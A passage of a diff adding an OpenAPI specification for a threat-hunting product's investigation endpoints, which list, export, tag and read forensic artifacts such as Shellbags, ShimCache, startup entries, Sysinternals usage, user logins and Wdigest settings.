+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SessionManager_PendingFileRenameOperation'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperationAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperationAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperationAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperationAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/SessionManager_PendingFileRenameOperationAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SessionManager_PendingFileRenameOperationAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SessionManager_PendingFileRenameOperation'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Shellbag/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Shellbag_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Shellbag'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Shellbag/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Shellbag_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Shellbag/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Shellbag_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Shellbag/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Shellbag_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Shellbag'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ShellbagAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ShellbagAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Shellbag'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShellbagAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ShellbagAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShellbagAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ShellbagAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ShellbagAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ShellbagAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Shellbag'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ShimCache/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ShimCache_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ShimCache'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShimCache/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ShimCache_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShimCache/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ShimCache_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ShimCache/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ShimCache_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ShimCache'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ShimCacheAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ShimCacheAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ShimCache'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShimCacheAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ShimCacheAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ShimCacheAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ShimCacheAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ShimCacheAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ShimCacheAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ShimCache'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Startup/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Startup_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Startup'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Startup/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Startup_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Startup/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Startup_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Startup/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Startup_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Startup'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/StartupAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_StartupAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Startup'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/StartupAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_StartupAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/StartupAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_StartupAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/StartupAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_StartupAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Startup'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SysinternalsUsage/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SysinternalsUsage_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SysinternalsUsage'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SysinternalsUsage/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SysinternalsUsage_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SysinternalsUsage/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SysinternalsUsage_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/SysinternalsUsage/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SysinternalsUsage_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SysinternalsUsage'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/SysinternalsUsageAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_SysinternalsUsageAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SysinternalsUsage'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SysinternalsUsageAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_SysinternalsUsageAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/SysinternalsUsageAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_SysinternalsUsageAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/SysinternalsUsageAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_SysinternalsUsageAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SysinternalsUsage'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/UserLogin/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_UserLogin_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UserLogin'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/UserLogin/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_UserLogin_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/UserLogin/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_UserLogin_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/UserLogin/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_UserLogin_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserLogin'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/UserLoginAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_UserLoginAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UserLogin'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/UserLoginAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_UserLoginAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/UserLoginAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_UserLoginAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/UserLoginAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_UserLoginAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserLogin'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Wdigest/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Wdigest_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Wdigest'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Wdigest/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Wdigest_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Wdigest/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Wdigest_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Wdigest/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Wdigest_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Wdigest'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/WdigestAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_WdigestAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Wdigest'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/WdigestAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
